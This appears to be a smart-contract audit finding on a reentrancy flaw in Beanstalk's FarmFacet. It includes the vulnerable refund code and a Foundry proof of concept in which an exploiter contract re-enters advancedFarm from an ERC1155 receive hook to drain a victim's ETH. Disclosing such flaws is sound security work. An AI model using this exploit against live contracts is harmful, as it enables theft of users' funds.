HIGH severity: `FarmFacet` functions are susceptible to the draining of intermediate value sent by the caller via reentrancy when execution is handed off to an untrusted external contract. **Description:** The `FarmFacet` enables multiple Beanstalk functions to be called in a single transaction using Farm calls. Any function stored in Beanstalk's EIP-2535 DiamondStorage can be called as a Farm call and, similar to the Pipeline calls originated in the `DepotFacet`, advanced Farm...

Vulnerable code:
// signals to Beanstalk functions that they should not refund Eth
// at the end of the function because the function is wrapped in a Farm function
modifier withEth() {
    if (msg.value > 0) s.isFarm = 2;
    _;
    if (msg.value > 0) {
       s.isFarm = 1;
        LibEth.refundEth();
    }
}

function refundEth()
    internal
{
    AppStorage storage s = LibAppStorage.diamondStorage();
    if (address(this).balance > 0 && s.isFarm != 2) {
        (bool success, ) = msg.sender.call{value: address(this).balance}(
            new bytes(0)
        );
        require(success, "Eth transfer Failed.");
    }
}

contract FertilizerRecipient {
    bool exploited;

    function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
        console.log("entered exploiter onERC1155Received");
        if (!exploited) {
            exploited = true;
            console.log("exploiting farm facet farm call");
            AdvancedFarmCall[] memory data = new AdvancedFarmCall[](0);
            IBeanstalk(BEANSTALK).advancedFarm{value: 1 wei}(data);
            console.log("finished exploiting farm facet farm call");
        }
        return bytes4(0xf23a6e61);
    }

    fallback() external payable {
        console.log("entered exploiter fallback");
        console.log("Beanstalk balance: ", BEANSTALK.balance);
        console.log("Exploiter balance: ", address(this).balance);
    }
}

contract FarmFacetPoC is Test {
    uint256 constant TOKEN_ID = 3445713;
    address constant VICTIM = address(0x995D1e4e2807Ef2A8d7614B607A89be096313916);
    FertilizerRecipient exploiter;

    function setUp() public {
        vm.createSelectFork("mainnet", ATTACK_BLOCK);

        FarmFacet farmFacet = new FarmFacet();
        vm.etch(FARM_FACET, address(farmFacet).code);

        Fertilizer fert = new Fertilizer();
        vm.etch(FERTILIZER, address(fert).code);

        assertGe(IERC1155(FERTILIZER).balanceOf(VICTIM, TOKEN_ID), 1, "Victim does not have token");

        exploiter = new FertilizerRecipient();
        vm.deal(address(exploiter), 1 wei);

        vm.label(VICTIM, "VICTIM");
        vm.deal(VICTIM, 10 ether);

        vm.label(BEANSTALK, "Beanstalk Diamond");
        vm.label(FERTILIZER, "Fertilizer");
        vm.label(address(exploiter), "Exploiter");
    }

    function test_attack() public {
        emit log_named_uint("VICTIM balance before: ", VICTIM.balance);
        emit log_named_uint("BEANSTALK balance before: ", BEANSTALK.balance);
        emit log_named_uint("Exploiter balance before: ", address(exploiter).balance);

        vm.startPrank(VICTIM);
        // approve Beanstalk to transfer Fertilizer
        IERC1155(FERTILIZER).setApprovalForAll(BEANSTALK, true);

        // encode call to `TokenSupportFacet::transferERC1155`
        bytes4 selector = 0x0a7e880c;
        assertEq(IBeanstalk(BEANSTALK).facetAddress(selector), address(0x5e15667Bf3EEeE15889F7A2D1BB423490afCb527), "Incorrect facet address/invalid function");

        AdvancedFarmCall[] memory data = new AdvancedFarmCall[](1);
        data[0] = AdvancedFarmCall(abi.encodeWithSelector(selector, address(FERTILIZER), address(exploiter), TOKEN_ID, 1), abi.encodePacked(bytes1(0x00)));
        IBeanstalk(BEANSTALK).advancedFarm{value: 10 ether}(data);
        vm.stopPrank();

        emit log_named_uint("VICTIM balance after: ", VICTIM.balance);
        emit log_named_uint("BEANSTALK balance after: ", BEANSTALK.balance);
        emit log_named_uint("Exploiter balance after: ", address(exploiter).balance);
    }
}